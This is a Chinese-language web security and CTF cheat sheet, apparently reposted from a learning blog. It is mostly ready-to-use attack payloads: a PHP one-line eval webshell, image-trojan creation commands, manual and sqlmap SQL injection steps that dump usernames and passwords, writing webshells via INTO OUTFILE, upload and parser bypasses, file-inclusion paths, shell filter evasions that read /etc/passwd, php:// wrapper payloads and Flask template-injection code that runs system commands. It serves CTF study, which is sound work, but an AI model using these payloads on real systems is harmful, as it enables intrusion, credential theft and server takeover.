web安全測試總結、CTF入門總結


  1. 靜態資源服務器漏洞

    1. Apache服務器從后向前解析文件類型,直到解析到可處理的文件名為止
    2. Apache Tomcat默認安裝包含"/examples"目錄
  2. 木馬與webshell

    1. php一句話木馬

      <?php @eval($_POST['cmd']) ?> 
      
      一句話木馬配合中國菜刀可以實現一個webshell。github也有開源的各種webshell。
      
    2. 圖片木馬

      1. windows

        copy a.png/b + b.txt/a c.png

      2. linux

        cat file1.txt file2.jpg >> file3.jpg

    3. 上傳的圖片木馬可以利用文件包含漏洞在生成一個小馬,在這個小馬中執行惡意代碼。

    4. 常用木馬工具

      1. weevely
      2. 中國菜刀
  3. sql注入

    1. 手工注入
      1. 判斷注入點

        字符型

        #注:假設admin為正常查詢字符串
        admin' and '1'='1'#    能查詢到數據
        admin' and '1'='2'#    查詢不到數據
        

        整數型

        #注:假設7為正常查詢id
        7 && 1=2
        
      2. 查詢字段
        a' UNION SELECT 1# 
        a' UNION SELECT 1,2#
        a' UNION SELECT 1,2,3#
        ...直到正常顯示數據為止,同時注意數字出現在網頁上的位置
        
      3. 查詢庫
        a' union select SCHEMA_NAME,2,3,4,5 from information_schema.SCHEMATA# 
        ...直到正常顯示數據為止,同時注意數字出現在網頁上的位置
        
      4. 查詢表
        a‘ union select TABLE_NAME,2,3,4,5 from information_schema.TABLES where TABLE_SCHEMA=‘ctf’ limit 0,1 #
        
      5. 查詢字段
        a’ union select COLUMN_NAME,2,3,4,5 from information_schema.COLUMNS where TABLE_NAME=‘ctf_key’ limit 0,1 #
        
      6. 查詢記錄
        a' union select secvalue,2,3,4,5 from ctf.ctf_key #  
        
    2. sqlmap
      1. 將請求報文抓下來放到一個文本文件,供sqlmap使用
      2. 判斷注入點,手工判斷或交給sqlmap
        python sqlmap -r request.txt -p "username" ,-r 指定request報文,-p 指定注入參數。 
        
      3. 查詢庫
        python sqlmap.py -r request.txt --current-db,得到當前數據庫的名稱。   
        
      4. 查詢表
        python sqlmap.py -r request.txt -D 數據庫名 --tables,得到數據庫中的表的名稱。  
        
      5. 查詢字段
        python sqlmap.py -r request.txt -D security -T users --columns,得到users表中的列名。   
        
      6. 查詢記錄
        python sqlmap.py -r request.txt -D security -T users -C username,password --dump,得到用戶名、密碼。   
        
    3. sql注入獲取webshell

      利用SQL注入攻擊獲取WebShell其實就是在向服務器寫文件。(注意:這里我們需要得到網站的絕對路徑)所有常用的關系數據庫管理系統(RDBMS)均包含內置的向服務器文件系統寫文件的功能。

      MySQL

      select into outfile(dumpfile) //MySQL寫文件命令
      

      example:

      select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php";
      
  4. 文件上傳漏洞

    1. 文件上傳漏洞主要有以下幾種情況
      • MIME類型繞過漏洞
      • 文件擴展名繞過漏洞
      • 文件內容檢測繞過類上傳漏洞
      • 空字節截斷目錄路徑檢測繞過類上傳漏洞
    2. 解析導致的文件上傳漏洞
      • IIS6.0站上的目錄路徑檢測解析繞過上傳漏洞
      • Apache站上的解析缺陷繞過上傳漏洞
      • htaccess文件上傳解析漏洞
  5. HTTP Header 偽造請求地址和源地址

    1. X-Forwarded-For
    2. referer
  6. PHP文件包含漏洞

    1. 包含日志文件
      1. 先通過讀取httpd的配置文件httpd.conf,找日志文件所在目錄。常見日志文件位置:
        1. ../etc/httpd/conf/httpd.conf
        2. /usr/local/apache/conf/http.conf
        3. ../apache/logs/error.log
    2. 包含session
      1. 要求攻擊者能控制部分Session的內容。常見的php-session存放位置:
        1. /var/lib/php/sess_PHPSESSID
        2. /var/lib/php/sess_PHPSESSID
        3. /tmp/sess_PHPSESSID
        4. /tmp/sessions/sess_PHPSESSID
    3. 包含/proc/self/environ 文件
      1. index.php?page=../../../../../proc/self/environ

        該文件包含Web進程運行時的環境變量,用戶可以控制其中一部分,比如對User-Agent

    4. 包含上傳的臨時文件
      1. 如數據庫文件,緩存文件
    5. more:https://zhuanlan.zhihu.com/p/50445145

  7. PHP各種繞過

    1. 弱類型比較
      1. 'abc' == 0, 結果為true
      2. '1234a' == 1234,結果為true
      3. ‘admin’==0,結果為true
      4. ‘1admin’==1,結果為true
      5. “0e123456”==“0e456789”,結果為true
      6. ……
    2. md5校驗漏洞
      1. md5('QNKCDZO') == md5(240610708), 結果為true,適用於sha1
      2. md5(array()) == md5(array()), 結果為true,適用於sha1
    3. strcmp繞過
      1. strcmp("233", array()),結果為null。正常字符串比較一致的結果是0,但null在bool運算中很多情況下和0等價,可用來繞過if-else。
    4. 反序列化繞過 __wakeup
      1. 當成員屬性數目大於實際數目時可繞過wakeup方法
    5. %00截斷

      magic_quotes_gpc = off
      PHP < 5.3.4

    6. 字節長度截斷:最大值Windows下256字節,Linux下4096字節
    7. %00截斷目錄遍歷

      /var/www/%00

      magic_quotes_gpc = off

    8. 編碼繞過

      %2e%2e%2f ../
      ..%c0%af ../
      %2e%2e%5c ..\

  8. 其他各種繞過

    1. 文件上傳繞過檢查
      1. 抓包,修改Content-Type

      2. Apache解析漏洞

        上傳 1.php.jpg #apache從后向前解析

      3. Nginx解析漏洞

        php%001.jpg #00處截斷

      4. IIS解析漏洞

        a.asp; xx.jpg

      5. 修改文件頭

        GIF89a<?php @eval($_GET[0])> #GIF

      6. 別名

        php的別名php1,php2

    2. linux shell 命令繞過檢查
      1. 使用通配符*、?繞過關鍵詞

         ls –l =>/?ln/?s –l
         /bin/cat /var/www/html/index.php => /???/???%20/???/???/????/?????.???
        
      2. 使用連接符繞過關鍵詞

        /'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w’d
        /b\i\n/w\h\i\c\h c\a\t
        
      3. 使用未初始化的bash變量繞過

        cat$a /etc$a/passwd$a
        
      4. 使用>繞過命令長度限制

      5. ${IFS}代替空格

    3. SQL注入,繞過檢查

      1. 大小寫如:UniOn,And等
      2. and/or 替換成&& ||
      3. substring mid left right
      4. replace uniunionon=>union
  9. 變量覆蓋漏洞

    1. $$這種寫法稱為可變變量

      一個可變變量獲取了一個普通變量的值作為這個可變變量的變量名。

    2. extract()函數使用不當

      extract() 函數從數組中將變量導入到當前的符號表。

      如果代碼中出現extract(array, EXTR_OVERWRITE),如果你能控制array的值,則存在變量覆蓋漏洞。

    3. parse_str()函數使用不當

      parse_str() 函數把查詢字符串解析到變量中。

      parse_str(string,array)

      如果未設置 array 參數,由該函數設置的變量將覆蓋已存在的同名變量。

      $a=1;
      parse_str('a=2');
      // 變量a的值會被覆蓋為2
      
    4. import_request_variables()使用不當

      import_request_variables將 GET/POST/Cookie 變量導入到全局作用域中

      語法:

      bool import_request_variables(string$types[,string$prefix])
      

      $type代表要注冊的變量,G代表GET,P代表POST,C代表COOKIE,第二個參數為要注冊變量的前綴

      import_request_variables('G')指定導入GET請求中的變量,從而導致變量覆蓋

    5. https://www.jianshu.com/p/a4d782e91852

  10. 遠程命令執行

    1. preg_replace 有一個代碼注入的漏洞,模式串后面加個e,會把替換后的字符串當做php代碼執行。 preg_replace 函數php5.5版本以上被廢棄
    2. php assert如果是字符串語句,且包含了變量,可以閉合該語句執行任意php代碼。
    3. 上級目錄 .. 被過濾,使用\繞過。

      linux 進入上一級目錄:cd .. 等價與 cd .\.
      linux bash中,\為轉義字符,用於轉義&這類關鍵字。遇到無需轉義的字符,會忽略掉\。

  11. php偽協議

    1. php://input
      1. 條件:allow_url_include = on

      2. payload

        index.php?file=php://input
        POST:
        <? phpinfo(); ?>
        
    2. php://filter
      使用偽協議讀取php代碼,編碼為base64:
      php://filter/read=convert.base64-encode/resource=./index.php
      
    3. php://phar
      讀取壓縮文件下名為phpinfo.txt的文件
      index.php?file=phar://shell.zip/phpinfo.txt
      
    4. data
      1. 條件

        1. allow_url_fopen = On

        2. allow_url_include = On

          index.php?file=data:text/plain,<?php phpinfo(); ?>%00
          index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
          
    5. php發送HTTP請求

      url后跟@+文件名,可以將文件內容加入post請求的數據部分
      
  12. 源碼泄露

    1. git源碼泄露,GitHack
    2. svn源碼泄露, dvcs-ripper
    3. DS_Store文件泄露, ds_store_exp
    4. phps:php源代碼文件
    5. WEB-INF/web.xml泄露

      WEB-INF 是 Java 的 WEB 應用的安全目錄。該目錄原則上來說是客戶端無法訪問,只有服務端才可以可以訪問。如果想在頁面中直接訪問其中的文件,必須通過 web.xml 文件對要訪問的文件進行相應映射才能訪問。

      WEB-INF 主要包含一下文件或目錄:

      /WEB-INF/web.xml:Web 應用程序配置文件,描述了 servlet 和其他的應用組件配置及命名規則;
      /WEB-INF/classes/:含了站點所有用的 class 文件,包括 servlet class 和非 servlet class,他們不能包含在 .jar 文件中;
      /WEB-INF/lib/:存放 web 應用需要的各種 JAR 文件,放置僅在這個應用中要求使用的 jar 文件 , 如數據庫驅動 jar 文件;
      /WEB-INF/src/:源碼目錄,按照包名結構放置各個 java 文件;
      /WEB-INF/database.properties:數據庫配置文件。
      不過在一些特定的場合卻會讓攻擊者能讀取到其中的內容,從而造成源碼泄露.

    6. 網站備份文件泄露

      在網站的升級和維護過程中,通常需要對網站中的文件進行修改。此時就需要對網站整站或者其中某一頁面進行備份。

      當備份文件或者修改過程中的緩存文件因為各種原因而被留在網站 web 目錄下,而該目錄又沒有設置訪問權限時,便有可能導致備份文件或者編輯器的緩存文件被下載,導致敏感信息泄露,給服務器的安全埋下隱患。

      該漏洞的成因主要有是管理員將備份文件放在到 web 服務器可以訪問的目錄下。

      該漏洞往往會導致服務器整站源代碼或者部分頁面的源代碼被下載,利用。源代碼中所包含的各類敏感信息,如服務器數據庫連接信息,服務器配置信息等會因此而泄露,造成巨大的損失。

      被泄露的源代碼還可能會被用於代碼審計,進一步利用而對整個系統的安全埋下隱患。

      文件后綴:

      .rar   .zip  .7z   .tar.gz   .bak    .swp   .txt   .sql
      
  13. php標簽過濾。有些時候命令傳不上去是因為服務端對php標簽做了過濾。

    php標簽
    <?php echo 'Hello World !'; ?>
    <script language="php"> echo 'Hello World !'; </script>
    <? echo 'this is the simplest, an SGML processing instruction'; ?>
    <?= expression ?> This is a shortcut for "<? echo expression ?>"
    <% echo 'You may optionally use ASP-style tags'; %>
    <%= $variable; # This is a shortcut for "<% echo . . ." %>
    
  14. 模板注入

    1. Flask

      1. 命令執行

        {{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.__dict__['os'].__dict__['popen']('whoami').read() }}
        
      2. 過濾單引號

        ?{{ [].__class__.__mro__[1].__subclasses__()[59].__init__.func_globals[request.args.linecace].__dict__[request.args.ss].__dict__[request.args.poen](request.args.ls).read() }}&linecace=linecache&ss=os&poen=popen&ls=ls
        
    2. Tornado讀取cookie_screct

      1. {{handler.settings}}
  15. FUZZ

    1. 常用工具
      1. burp suite
      2. wfuzz
  16. GBK編碼范圍:8140-FEFE
  17. 弱密碼爆破
  18. 目錄爆破
    1. dirsearch


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM